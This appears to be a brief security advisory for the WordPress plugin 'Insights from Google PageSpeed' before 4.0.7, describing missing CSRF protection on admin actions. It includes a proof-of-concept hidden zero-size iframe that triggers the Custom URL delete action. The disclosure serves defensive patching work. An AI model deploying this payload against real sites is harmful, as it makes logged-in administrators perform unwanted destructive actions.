Insights from Google PageSpeed < 4.0.7 - Multiple CSRF

The plugin does not verify for CSRF before doing various actions such as deleting Custom URLs, which could allow attackers to make a logged in admin perform such actions via CSRF attacks

<iframe src="https://example.com/wp-admin/tools.php?page=google-pagespeed-insights&render=custom-urls&action=delete&page_id=1" width="0" height="0" frameborder="0"></iframe>